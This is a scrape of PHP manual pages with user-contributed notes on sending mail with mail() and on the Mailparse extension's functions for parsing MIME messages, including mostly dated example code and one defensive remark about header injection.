?>

This way, the extra data will be part of the previous header.
junaid at techni-serve dot com 07-Mar-2006 06:49
Note: on class "multipartmail".  Modify the function buildmessage with the following and it will work great.

function buildmessage(){
         $this->message = "This is a multipart message in mime format.\n";
         $cnt = count($this->parts);
         for($i=0; $i<$cnt; $i++){
           $this->message .= "--" . $this->boundary . "\n" .$this->parts[$i];
         }
        $this->message .= "--" . $this->boundary . "-- \n";
     }

Thank for all the help.
Ben Cooke 15-Dec-2005 02:34
Note that there is a big difference between the behavior of this function on Windows systems vs. UNIX systems. On Windows it delivers directly to an SMTP server, while on a UNIX system it uses a local command to hand off to the system's own MTA.

The upshot of all this is that on a Windows system your  message and headers must use the standard line endings \r\n as prescribed by the email specs. On a UNIX system the MTA's "sendmail" interface assumes that recieved data will use UNIX line endings and will turn any \n to \r\n, so you must supply only \n to mail() on a UNIX system to avoid the MTA hypercorrecting to \r\r\n.

If you use plain old \n on a Windows system, some MTAs will get a little upset. qmail in particular will refuse outright to accept any message that has a lonely \n without an accompanying \r.
fnjordy at gmail dot com 05-Oct-2005 11:54
Another example of sending a utf-8 HTML mail:

<?php
$to = 'bob@example.com';
$subject = 'Wakeup bob!';
$message = '<b>yo</b>, whassup?';
$headers = "From: server@example.com\r\n" .
        'X-Mailer: PHP/' . phpversion() . "\r\n" .
        "MIME-Version: 1.0\r\n" .
        "Content-Type: text/html; charset=utf-8\r\n" .
        "Content-Transfer-Encoding: 8bit\r\n\r\n";

// Send
mail($to, $subject, $message, $headers);
?>
fontajos at phpeppershop dot com 21-Sep-2005 05:24
Problems with Microsoft Exchange and PHP as ISAPI-module

We found out, that if you want to send multipart mime emails using the PHP mail-function on a Windows box using a Microsoft Exchange server, you have to use separate containers for the mail body and the mail header.

In many examples like in http://www.zend.com/zend/trick/html-email.php or in the book PHP developers cookbook you find html multipart/alternative mailing solutions that build the mime header and the mail body into one PHP variable and send this as fourth argument (header) to the PHP mail-function. This works fine on most systems but not on the above mentioned combination.

We found a rather trivial solution: Simply split the mime mail header and the mail body into two separate variables and give them separately to the PHP mail function, example:

<?php
//add From: header
$headers = "From: webserver@localhost\r\n";

//specify MIME version 1.0
$headers .= "MIME-Version: 1.0\r\n";

//unique boundary
$boundary = uniqid("HTMLDEMO");

//tell e-mail client this e-mail contains//alternate versions
$headers .= "Content-Type: multipart/mixed; boundary = $boundary\r\n\r\n";

//plain text version of message
$body = "--$boundary\r\n" .
   "Content-Type: text/plain; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This is the plain text version!"));

//HTML version of message
$body .= "--$boundary\r\n" .
   "Content-Type: text/html; charset=ISO-8859-1\r\n" .
   "Content-Transfer-Encoding: base64\r\n\r\n";
$body .= chunk_split(base64_encode("This the <b>HTML</b> version!"));

//send message
mail("root@localhost", "An HTML Message", $body, $headers);
?>
GwarDrazul 15-Sep-2005 01:01
The article mentioned below is quite good to understand the problem of header injection. However, it suggests the following as a solution: look for "\n" and "\r" inside your user input fields (especially in those used for the $header param) and, if found reject the mail.

Allthough this will probably work I still believe it is better to have a "white list" of allowed characters instead of a "black list" with forbidden characters.

Example:
If you want a user to enter his name, then allow characters only!
If you want a user to enter his email adress, then check if the entry is a valid email adress.

Doing so might automatically solve problems which you didn't think of when you created the "black list". For SMTP headers colons are needed. If you check for a valid email adress the hacker won't be able to enter colons inside that form field.

I suggest using regular expressions for those checks.

For more information about regular expressions see:
http://www.regular-expressions.info/
msheldon at desertraven dot com 15-May-2005 09:09
Just a comment on some of the examples, and as a note for those who may be unaware. The SMTP RFC 822 is VERY explicit in stating that \r\n is the ONLY acceptable line break format in the headers, though is a little vague about the message body. While many MTAs will deal with just \n, I've run accross plenty of them that will exhibit "interesting" behaviours when this happens. Those MTAs that are strict in compliance will definitely break when header lines are terminated with only \n. They will also most likely break if the body of the message contains more than 1000 consecutive characters without a \r\n.*

Note that RFC 821 is a little more clear in defining:
"line
      A a sequence of ASCII characters ending with a <CRLF>."

RFC 821 makes no distinction between header lines and message body lines, since both are actually transmitted during the DATA phase.

Bottom line, best practice is to be sure to convert any bare \n characters in the message to \r\n.

* "The maximum total length of a text line including the <CRLF> is 1000 characters" (RFC 821)
jonte at macnytt dot com 25-Apr-2005 01:16
Users of Mac OS X Server need to activate SMTP part of the Mailserver before this is working.

Also note that if the ISP has blocked port 25 outgoing, you run into problems. You can find more info about this in the SMTP server log in Server Admin application if you run OSX Server.
18-Apr-2005 09:20
A co-worker of mine had a problem where she needed to have a backslash in the header. Basically, the name of the company has a couple of backslashes in it. However, when the recipient was receiving the email, the "From:" part had the backslashes removed. We got it to work but placing three backslashes whenever we wanted one to show up. I'd assume that the mail server was modifying the headers and this is not really an issue with php. Anyway, thought this might help someone.
benles at bldigital dot com 21-Mar-2005 06:47
I get a 550 error when using mail() with this To format:

User <user@example.com>

When it's changed to just the bare email, it works fine. Just FYI that some mail servers may behave this way.
php dot net at schrecktech dot com 03-Mar-2005 01:07
When sending MIME email make sure you follow the documentation with the "70" characters per line...you may end up with missing characters...and that is really hard to track down...
grey at greywyvern dot moc 18-Feb-2005 09:47
When including your own custom headers try not to include a trailing \r\n at the end of the last header.  Leaving the \r\n causes an extra line-feed at the beginning of the message body, so your message will start on the second line.
Sven Riedel 10-Jul-2004 03:22
mail() requires /bin/sh to exist in Unix environments, next to a mail delivery program. This is very relevant when setting up apache in a chroot environment. Unfortunately this isn't anywhere in the documentation and took me several months to figure out.
nospam at mingo dot ath dot cx 09-May-2004 03:55
If you're using a linux server using Postfix, and your server hasn't the host name set to a valid name (because it's behind a firewall in an intranet), it's possible that when sending mails using the mail function, some mail servers reject them. This is because they can't check the return path header. If you want to change the Return-Path used by sendmail init the php.ini and edit the sendmail_path variable to this:

sendmail_path = "sendmail -t -i -F webmaster@example.com -f webmaster@example.com"
Paul 25-Feb-2004 11:51
My mime multipart/alternative messages were going ok, until I switched to qmail with php .. after years of painfull searching, I came across this on the Life With Qmail 'Gotchas' section:

G.11. Carriage Return/Linefeed (CRLF) line breaks don't work

qmail-inject and other local injection mechanisms like sendmail don't work right when messages are injected with DOS-style carriage return/linefeed (CRLF) line breaks. Unlike Sendmail, qmail requires locally-injected messages to use Unix newlines (LF only). This is a common problem with PHP scripts.

So now, I can go back to sending emails with text AND html components :)
roberto dot silva at mexicoshipping dot net 24-Jan-2004 01:16
If you can't use or don't understand how to use the sendmail program from linux, you can use a PEAR object to send mail.

<?php
include("Mail.php");

$recipients = "mailto@example.com";

$headers["From"]    = "mailfrom@example.com";
$headers["To"]      = "mailto@example.com";
$headers["Subject"] = "Test message";

$body = "TEST MESSAGE!!!";

$params["host"] = "example.com";
$params["port"] = "25";
$params["auth"] = true;
$params["username"] = "user";
$params["password"] = "password";

// Create the mail object using the Mail::factory method
$mail_object =& Mail::factory("smtp", $params);

$mail_object->send($recipients, $headers, $body);
?>

In my case, i use a smtp server that require authentication, and sendmail configuration is almost cryptic to me.

PEAR is already installed in PHP 4.0.3 , if not, you must go to http://pear.php.net/ and install it, in my case, I needed to add the Socket.php to the PEAR library.
f dot touchard at laposte dot net 31-Jan-2003 04:46
***Encoding plain text as quoted-printable in MIME email***

If you don't want to install IMAP and use imap_8bit() to encode plain text or html message as quoted-printable
(friendly french special characters encoding :-) in MIME email, try this function.
I haven't fully tested it ( like with microtime with long mails). I send html message as 7-bit, so I didn't try yet with html.
If you have good html practise, you don't really need to encode html as quote-printable as it only uses 7-bit chars.
F.Touchard

<?php
function qp_encoding($Message) {

    /* Build (most polpular) Extended ASCII Char/Hex MAP (characters >127 & <255) */
    for ($i=0; $i<127; $i++) {
        $CharList[$i] = "/".chr($i+128)."/";
        $HexList[$i] = "=".strtoupper(bin2hex(chr($i+128)));
    }

    /* Encode equal sign & 8-bit characters as equal signs followed by their hexadecimal values */
    $Message = str_replace("=", "=3D", $Message);
    $Message = preg_replace($CharList, $HexList, $Message);

    /* Lines longer than 76 characters (size limit for quoted-printable Content-Transfer-Encoding)
        will be cut after character 75 and an equals sign is appended to these lines. */
    $MessageLines = split("\n", $Message);
    $Message_qp = "";
    while(list(, $Line) = each($MessageLines)) {
        if (strlen($Line) > 75) {
            $Pointer = 0;
            while ($Pointer <= strlen($Line)) {
                $Offset = 0;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+73), 3))) $Offset=-2;
                if (preg_match("/^=(3D|([8-9A-F]{1}[0-9A-F]{1}))$/", substr($Line, ($Pointer+74), 3))) $Offset=-1;
                $Message_qp.= substr($Line, $Pointer, (75+$Offset))."=\n";
                if ((strlen($Line) - ($Pointer+75)) <= 75) {
                    $Message_qp.= substr($Line, ($Pointer+75+$Offset))."\n";
                    break 1;
                }
                $Pointer+= 75+$Offset;
            }
        } else {
            $Message_qp.= $Line."\n";
        }
    }
    return $Message_qp;
}
?>
stevenlim at Edinburgh-Consulting dot com 06-Sep-2002 09:53
How to detect a bounce email

1. make sure the email you send out have the header
"Return-Path: detect-bounce@example.com\r\n",
&
"Return-Receipt-To: bounce@example.com\r\n"

2. setup this detect-bounce mail account at your mail server

3. redirect the incoming mail from this email account to your php script (check your mail server doc on how do this)

4. your php script will then be able to process the incoming email in whatever way you like, including to detect bounce mail message (use regexp search).

Note that the mail will be not be store after the mail server has redirect to your script.  If you want to store it, you need additional code in your script

Hope the above help

Steven Lim
IT Consultant


Mailparse

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mailparse Functions
    • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
    • mailparse_msg_create — Create a mime mail resource
    • mailparse_msg_extract_part_file — Extracts/decodes a message section
    • mailparse_msg_extract_part — Extracts/decodes a message section
    • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
    • mailparse_msg_free — Frees a MIME resource
    • mailparse_msg_get_part_data — Returns an associative array of info about the message
    • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
    • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
    • mailparse_msg_parse_file — Parses a file
    • mailparse_msg_parse — Incrementally parse data into buffer
    • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
    • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
    • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Mailparse is an extension for parsing and working with email messages. It can deal with » RFC 822 and » RFC 2045 (MIME) compliant messages.

Mailparse is stream based, which means that it does not keep in-memory copies of the files it processes - so it is very resource efficient when dealing with large messages.

Note:

Mailparse requires the mbstring extension, and mbstring must be loaded before mailparse.

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 4.2.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/mailparse.

In order to use these functions you must compile PHP with mailparse support by using the --enable-mailparse configure option.

Windows users will enable php_mailparse.dll inside of php.ini in order to use these functions. A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mailparse configuration options
Name | Default | Changeable | Changelog
mailparse.def_charset | "us-ascii" | PHP_INI_ALL | Available since PHP 4.1.0. Removed in PHP 4.2.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MAILPARSE_EXTRACT_OUTPUT (integer)
MAILPARSE_EXTRACT_STREAM (integer)
MAILPARSE_EXTRACT_RETURN (integer)

User Contributed Notes

There are no user contributed notes for this page.


Mailparse Functions

Table of Contents

  • mailparse_determine_best_xfer_encoding — Gets the best way of encoding
  • mailparse_msg_create — Create a mime mail resource
  • mailparse_msg_extract_part_file — Extracts/decodes a message section
  • mailparse_msg_extract_part — Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding
  • mailparse_msg_free — Frees a MIME resource
  • mailparse_msg_get_part_data — Returns an associative array of info about the message
  • mailparse_msg_get_part — Returns a handle on a given section in a mimemessage
  • mailparse_msg_get_structure — Returns an array of mime section names in the supplied message
  • mailparse_msg_parse_file — Parses a file
  • mailparse_msg_parse — Incrementally parse data into buffer
  • mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses
  • mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp
  • mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

User Contributed Notes

iwarner at triangle-solutions dot com 21-May-2004 05:31
Also dont forget to LOAD mbstring before you load mailparse

example in the php.ini place in this order:

extension=php_mbstring.dll
extension=php_mailparse.dll

Or you will get an error.

Ian
boris at gamate dot com 12-Sep-2003 03:11
Example how to handle mail content from a variable:

<?php

$buffer = [...] // Mail Content from pipe or whatever

$mail = mailparse_msg_create();
mailparse_msg_parse($mail,$buffer);
$struct = mailparse_msg_get_structure($mail);

foreach($struct as $st) {
    $section = mailparse_msg_get_part($mail, $st);
    $info = mailparse_msg_get_part_data($section);

    print_r($info);
}

?>
wberrier at yahoo dot com 09-Jul-2002 09:45
[Authors note:
The tarball for 4.2.x can be found here:
http://thebrainroom.com/opensource/php/mailparse.php
and contains a script called try.php that demonstrates the usage of these functions.
]

I've pasted the contents of the file below:

<?php
/*
 * This is a simple email viewer.
 * make sure that $filename points to a file containing an email message and
 * load this page in your browser.
 * You will be able to choose a part to view.
 * */

$filename = "uumsg";

/* parse the message and return a mime message resource */
$mime = mailparse_msg_parse_file($filename);
/* return an array of message parts - this contsists of the names of the parts
 * only */
$struct = mailparse_msg_get_structure($mime);

echo "<table>\n";
/* print a choice of sections */
foreach($struct as $st) {
        echo "<tr>\n";
        echo "<td><a href=\"$PHP_SELF?showpart=$st\">$st</a></td>\n";
        /* get a handle on the message resource for a subsection */
        $section = mailparse_msg_get_part($mime, $st);
        /* get content-type, encoding and header information for that section */
        $info = mailparse_msg_get_part_data($section);
        echo "\n";
        echo "<td>" . $info["content-type"] . "</td>\n";
        echo "<td>" . $info["content-disposition"] . "</td>\n";
        echo "<td>" . $info["disposition-filename"] . "</td>\n";
        echo "<td>" . $info["charset"] . "</td>\n";
        echo "</tr>";
}
echo "</table>";

/* if we were called to display a part, do so now */
if ($showpart)  {
        /* get a handle on the message resource for the desired part */
        $sec = mailparse_msg_get_part($mime, $showpart);

        echo "<table border=1><tr><th>Section $showpart</th></tr><tr><td>";
        ob_start();
        /* extract the part from the message file and dump it to the output buff
er
         * */
        mailparse_msg_extract_part_file($sec, $filename);
        $contents = ob_get_contents();
        ob_end_clean();
        /* quote the message for safe display in a browser */
        echo nl2br(htmlentities($contents)) . "</td></tr></table>";;
}
?>


Gets the best way of encoding

  • « Mailparse Functions
  • mailparse_msg_create »
  • PHP Manual
  • Mailparse Functions
  • Gets the best way of encoding

mailparse_determine_best_xfer_encoding

(PECL mailparse >= 0.9.0)

mailparse_determine_best_xfer_encoding — Gets the best way of encoding

Description

string mailparse_determine_best_xfer_encoding ( resource $fp )

Figures out the best way of encoding the content read from the given file pointer.

Parameters

fp

A valid file pointer, which must be seek-able.

Return Values

Returns one of the character encodings supported by the mbstring module.

Examples

Example #1 mailparse_determine_best_xfer_encoding() example

<?php

$fp = fopen('somemail.eml', 'r');
echo 'Best encoding: ' . mailparse_determine_best_xfer_encoding($fp);

?>

The above example will output something similar to:

Best encoding: 7bit

User Contributed Notes

matej dot kovac at gmail dot com 21-Nov-2011 08:12
As of mailparse-2.1.5, it can return 7bit, 8bit, base64 and qprint. False on mbstring failure.
mileskeaton at gmail dot com 03-Jan-2009 08:16
As far as I can tell, this only returns one of two strings: 'Quoted-Printable' or '7bit'


Create a mime mail resource

  • « mailparse_determine_best_xfer_encoding
  • mailparse_msg_extract_part_file »
  • PHP Manual
  • Mailparse Functions
  • Create a mime mail resource

mailparse_msg_create

(PECL mailparse >= 0.9.0)

mailparse_msg_create — Create a mime mail resource

Description

resource mailparse_msg_create ( void )

Create a MIME mail resource.

Return Values

Returns a handle that can be used to parse a message.

See Also

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.


Extracts/decodes a message section

  • « mailparse_msg_create
  • mailparse_msg_extract_part »
  • PHP Manual
  • Mailparse Functions
  • Extracts/decodes a message section

mailparse_msg_extract_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part_file — Extracts/decodes a message section

Description

string mailparse_msg_extract_part_file ( resource $mimemail , mixed $filename [, callable $callbackfunc ] )

Extracts/decodes a message section from the supplied filename.

The contents of the section will be decoded according to their transfer encoding - base64, quoted-printable and uuencoded text are supported.

Parameters

mimemail

A valid MIME resource, created with mailparse_msg_create().

filename

Can be a file name or a valid stream resource.

callbackfunc

If set, this must be either a valid callback that will be passed the extracted section, or NULL to make this function return the extracted section.

If not specified, the contents will be sent to "stdout".

Return Values

If callbackfunc is not NULL returns TRUE on success.

If callbackfunc is set to NULL, returns the extracted section as a string.

Returns FALSE on error.

See Also

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

carlos at wfmh dot org dot pl 24-Feb-2009 05:15
Be aware of "corporate mails" or users who do not understand character encoding too deeply (or do not care). You may (as we did) face mail where the whole mail body is encoded used i.e. Latin2 (and iso-8859-2 is given in multipart's charset header) but at the same time the body also contains text footer with UTF-8 characters in it... Yes, fu*g Microsoft Exchange V6.5 frontent will show that fine on the screen, but if when receive it:

mailparse_msg_extract_part_file() - filter conversion failed. Input message is probably incorrectly encoded in ....

so be extra careful and deal with all the possible errors to avoid mail loss.
per at computer dot org 21-Oct-2004 10:09
mailparse_msg_extract_part_file() does not support file-wrappers as it needs to be able to use seek() on the file.


Extracts/decodes a message section

  • « mailparse_msg_extract_part_file
  • mailparse_msg_extract_whole_part_file »
  • PHP Manual
  • Mailparse Functions
  • Extracts/decodes a message section

mailparse_msg_extract_part

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_part — Extracts/decodes a message section

Description

void mailparse_msg_extract_part ( resource $mimemail , string $msgbody [, callable $callbackfunc ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

msgbody

callbackfunc

Return Values

No value is returned.

See Also

  • mailparse_msg_extract_part_file() - Extracts/decodes a message section
  • mailparse_msg_extract_whole_part_file() - Extracts a message section including headers without decoding the transfer encoding

User Contributed Notes

marlinf {at} datashaman {dot} com 11-Jan-2008 11:13
With ref to previous comment re: callback:

If you explicitly specify NULL as the callback parameter, the complete section is extracted, decoded and returned, without the need for a callback.
Will 04-Jan-2007 09:12
In mailparse version 2.1.1 (and perhaps earlier), when using mailparse_msg_extract_part() with a callback function, it breaks the data it passes to it into 4kB chunks and calls the callback function for each chunk.  So, for example, if it's extracting a 41kB MIME part, the callback function you define will be called 11 times, each time with the next chunk of data.  Here's some quick-and-dirty code that shows one way to handle this:

<?php
    $message = file_get_contents ("email.txt"); // Pull in the e-mail.

    function catch_part ($part)
    {
        $GLOBALS["part_data"] .= $part; // Append the data onto any previously extracted data.
    }

    mailparse_msg_extract_part ("1.1", $message, "catch_part"); // Extract MIME part 1.1
    echo $GLOBALS["part_data"]; // Print out the extracted part.
?>

There's probably a much better way of dealing with this, but hey.  It's what I got.
php at cdauth dot de 07-Jun-2006 09:01
substr() uses the string length, not the position as third argument. The corrected version of the following code line:
<?php
$parts[$s] = substr($file_txt, $starting_pos_body, $ending_pos_body-$starting_pos_body);
?>
steve at tequilasolutions dot com 06-Apr-2006 07:36
Unless I've missed something obvious:

get_structure returns array(1,1.1,1.1.2) etc but its not easy to get the contents of each part as mailparse_msg_extract_part() and mailparse_msg_extract_part_file() just return the lot.  However get_part_data will return the string offsets so you know where to chop the message so you can get the contents of the parts.

Only issue is get_part_data returns:
    [starting-pos] => 0
    [starting-pos-body] => 1412
    [ending-pos] => 14989
    [ending-pos-body] => 14989

Unless I'm missed something else, theres a bug here as ending-pos is the same as ending-pos-body so it won't chop the contents cleanly, leaving the:

------=_NextPart_000_0069_01C659A6.9072E590--

...as supposedly part of the section contents.

$file = "..../mail"; // path of your mail
$file_txt = implode("",file($file));
$parse = mailparse_msg_parse_file($file);
$structure = mailparse_msg_get_structure($parse);
// chop message parts into array
$parts = array();
foreach ($structure as $s){
    print "Part $s\n";
    print "--------------------------------------\n";
    $part = mailparse_msg_get_part($parse, $s);
    $part_data = mailparse_msg_get_part_data($part);
    print_r($part_data);
    $starting_pos_body = $part_data['starting-pos-body'];
    $ending_pos_body    = $part_data['ending-pos-body'];
    $parts[$s] = substr($file_txt,$starting_pos_body,$ending_pos_body); // copy data into array
    print "[".$parts[$s]."]";
    print "\n------------------------------------\n";
}


Extracts a message section including headers without decoding the transfer encoding

  • « mailparse_msg_extract_part
  • mailparse_msg_free »
  • PHP Manual
  • Mailparse Functions
  • Extracts a message section including headers without decoding the transfer encoding

mailparse_msg_extract_whole_part_file

(PECL mailparse >= 0.9.0)

mailparse_msg_extract_whole_part_file — Extracts a message section including headers without decoding the transfer encoding

Description

string mailparse_msg_extract_whole_part_file ( resource $mimemail , string $filename [, callable $callbackfunc ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

filename

callbackfunc

Return Values

See Also

  • mailparse_msg_extract_part() - Extracts/decodes a message section
  • mailparse_msg_extract_part_file() - Extracts/decodes a message section

User Contributed Notes

There are no user contributed notes for this page.


Frees a MIME resource

  • « mailparse_msg_extract_whole_part_file
  • mailparse_msg_get_part_data »
  • PHP Manual
  • Mailparse Functions
  • Frees a MIME resource

mailparse_msg_free

(PECL mailparse >= 0.9.0)

mailparse_msg_free — Frees a MIME resource

Description

bool mailparse_msg_free ( resource $mimemail )

Frees a MIME resource.

Parameters

mimemail

A valid MIME resource allocated by mailparse_msg_create() or mailparse_msg_parse_file().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • mailparse_msg_create() - Create a mime mail resource
  • mailparse_msg_parse_file() - Parses a file

User Contributed Notes

There are no user contributed notes for this page.


Returns an associative array of info about the message

  • « mailparse_msg_free
  • mailparse_msg_get_part »
  • PHP Manual
  • Mailparse Functions
  • Returns an associative array of info about the message

mailparse_msg_get_part_data

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part_data — Returns an associative array of info about the message

Description

array mailparse_msg_get_part_data ( resource $mimemail )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

User Contributed Notes

There are no user contributed notes for this page.


Returns a handle on a given section in a mimemessage

  • « mailparse_msg_get_part_data
  • mailparse_msg_get_structure »
  • PHP Manual
  • Mailparse Functions
  • Returns a handle on a given section in a mimemessage

mailparse_msg_get_part

(PECL mailparse >= 0.9.0)

mailparse_msg_get_part — Returns a handle on a given section in a mimemessage

Description

resource mailparse_msg_get_part ( resource $mimemail , string $mimesection )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

mimesection

User Contributed Notes

There are no user contributed notes for this page.


Returns an array of mime section names in the supplied message

  • « mailparse_msg_get_part
  • mailparse_msg_parse_file »
  • PHP Manual
  • Mailparse Functions
  • Returns an array of mime section names in the supplied message

mailparse_msg_get_structure

(PECL mailparse >= 0.9.0)

mailparse_msg_get_structure — Returns an array of mime section names in the supplied message

Description

array mailparse_msg_get_structure ( resource $mimemail )
Warning

This function is currently not documented; only its argument list is available.

Parameters

mimemail

A valid MIME resource.

User Contributed Notes

There are no user contributed notes for this page.


Parses a file

  • « mailparse_msg_get_structure
  • mailparse_msg_parse »
  • PHP Manual
  • Mailparse Functions
  • Parses a file

mailparse_msg_parse_file

(PECL mailparse >= 0.9.0)

mailparse_msg_parse_file — Parses a file

Description

resource mailparse_msg_parse_file ( string $filename )

Parses a file. This is the optimal way of parsing a mail file that you have on disk.

Parameters

filename

Path to the file holding the message. The file is opened and streamed through the parser.

Return Values

Returns a MIME resource representing the structure, or FALSE on error.

See Also

  • mailparse_msg_free() - Frees a MIME resource
  • mailparse_msg_create() - Create a mime mail resource

User Contributed Notes

There are no user contributed notes for this page.


Incrementally parse data into buffer

  • « mailparse_msg_parse_file
  • mailparse_rfc822_parse_addresses »
  • PHP Manual
  • Mailparse Functions
  • Incrementally parse data into buffer

mailparse_msg_parse

(PECL mailparse >= 0.9.0)

mailparse_msg_parse — Incrementally parse data into buffer

Description

bool mailparse_msg_parse ( resource $mimemail , string $data )

Incrementally parse data into the supplied mime mail resource.

This function allow you to stream portions of a file at a time, rather than read and parse the whole thing.

Parameters

mimemail

A valid MIME resource.

data

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Parse RFC 822 compliant addresses

  • « mailparse_msg_parse
  • mailparse_stream_encode »
  • PHP Manual
  • Mailparse Functions
  • Parse RFC 822 compliant addresses

mailparse_rfc822_parse_addresses

(PECL mailparse >= 0.9.0)

mailparse_rfc822_parse_addresses — Parse RFC 822 compliant addresses

Description

array mailparse_rfc822_parse_addresses ( string $addresses )

Parses a » RFC 822 compliant recipient list, such as that found in the To: header.

Parameters

addresses

A string containing addresses, like in: Wez Furlong <wez@example.com>, doe@example.com

Note:

This string must not include the header name.

Return Values

Returns an array of associative arrays with the following keys for each recipient:

display | The recipient name, for display purpose. If this part is not set for a recipient, this key will hold the same value as address.
address | The email address
is_group | TRUE if the recipient is a newsgroup, FALSE otherwise.

Examples

Example #1 mailparse_rfc822_parse_addresses() example

<?php

$to = 'Wez Furlong <wez@example.com>, doe@example.com';
var_dump(mailparse_rfc822_parse_addresses($to));

?>

The above example will output:

array(2) {
  [0]=>
  array(3) {
    ["display"]=>
    string(11) "Wez Furlong"
    ["address"]=>
    string(15) "wez@example.com"
    ["is_group"]=>
    bool(false)
  }
  [1]=>
  array(3) {
    ["display"]=>
    string(15) "doe@example.com"
    ["address"]=>
    string(15) "doe@example.com"
    ["is_group"]=>
    bool(false)
  }
}

User Contributed Notes

murph dot vienna at gmail dot com 12-Mar-2014 01:15
<?php
// input: My Test Email <some.test.email@somewhere.net>

function get_displayname_from_rfc_email($rfc_email_string) {
    // match all words and whitespace, will be terminated by '<'
    $name       = preg_match('/[\w\s]+/', $rfc_email_string, $matches);
    $matches[0] = trim($matches[0]);
    return $matches[0];
}
// Output: My Test Email

function get_email_from_rfc_email($rfc_email_string) {
    // extract parts between the two parentheses
    $mailAddress = preg_match('/(?:<)(.+)(?:>)$/', $rfc_email_string, $matches);
    return $matches[1];
}
// Output: some.test.email@somewhere.net
?>
dancablam 07-May-2007 08:05
To just extract the email address out of an RFC822 line, it's faster and more reliable to just use a simple regex such as:

<?php
$rfc = '"Bob Smith" <bob@smith.com>';
preg_match('/[\\w\\.\\-+=*_]*@[\\w\\.\\-+=*_]*/', $rfc , $regs);
$parsed = $regs[0];
?>

The above code will pull out: bob@smith.com

No matter the variation of the RFC822 line, as long as there's a valid email address in it somewhere, the above regex will find it.
24-Nov-2004 01:12
An alternative to the mailparse_rfc822_parse_addresses() function is Mail_RFC822::parseAddressList() from Pear:

http://pear.php.net/manual/en/package.mail.mail.php

It parses the string and returns a structured tree of data. Returns a pear_error object if the string is not valid.

Example:

require_once "PEAR.php";
require_once "Mail/RFC822.php";

$addr= "Hi <hi@world.org>";

$res= Mail_RFC822::parseAddressList($addr);
if (PEAR::isError($res)) die("NOT VALID: " . $res->getMessage() . "\n");
echo "OK. Data:\n";
print_r($res);
mat at phpconsulting dot com 25-Apr-2003 06:59
If for some reason you cannot compile mailparse into your install of PHP, you will also find an extremely similar function in the Mail_MIME PEAR class, specifically in mimeDecode.php.


Streams data from source file pointer, apply encoding and write to destfp

  • « mailparse_rfc822_parse_addresses
  • mailparse_uudecode_all »
  • PHP Manual
  • Mailparse Functions
  • Streams data from source file pointer, apply encoding and write to destfp

mailparse_stream_encode

(PECL mailparse >= 0.9.0)

mailparse_stream_encode — Streams data from source file pointer, apply encoding and write to destfp

Description

bool mailparse_stream_encode ( resource $sourcefp , resource $destfp , string $encoding )

Streams data from the source file pointer, apply encoding and write to the destination file pointer.

Parameters

sourcefp

A valid file handle. The file is streamed through the parser.

destfp

The destination file handle in which the encoded data will be written.

encoding

One of the character encodings supported by the mbstring module.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mailparse_stream_encode() example

<?php

// email.eml contents: hello, this is some text=hello.
$fp = fopen('email.eml', 'r');

$dest = tmpfile();

mailparse_stream_encode($fp, $dest, "quoted-printable");

rewind($dest);

// Display new file contents
fpassthru($dest);

?>

The above example will output:

hello, this is some text=3Dhello.

User Contributed Notes

There are no user contributed notes for this page.


Scans the data from fp and extract each embedded uuencoded file

  • « mailparse_stream_encode
  • vpopmail »
  • PHP Manual
  • Mailparse Functions
  • Scans the data from fp and extract each embedded uuencoded file

mailparse_uudecode_all

(PECL mailparse >= 0.9.0)

mailparse_uudecode_all — Scans the data from fp and extract each embedded uuencoded file

Description

array mailparse_uudecode_all ( resource $fp )

Scans the data from the given file pointer and extract each embedded uuencoded file into a temporary file.

Parameters

fp

A valid file pointer.

Return Values

Returns an array of associative arrays listing filename information.

filename | Path to the temporary file name created
origfilename | The original filename, for uuencoded parts only
The first filename entry is the message body. The next entries are the decoded uuencoded files.

Examples

Example #1 mailparse_uudecode_all() example

<?php

$text = <<<EOD
To: fred@example.com

hello, this is some text hello.
blah blah blah.
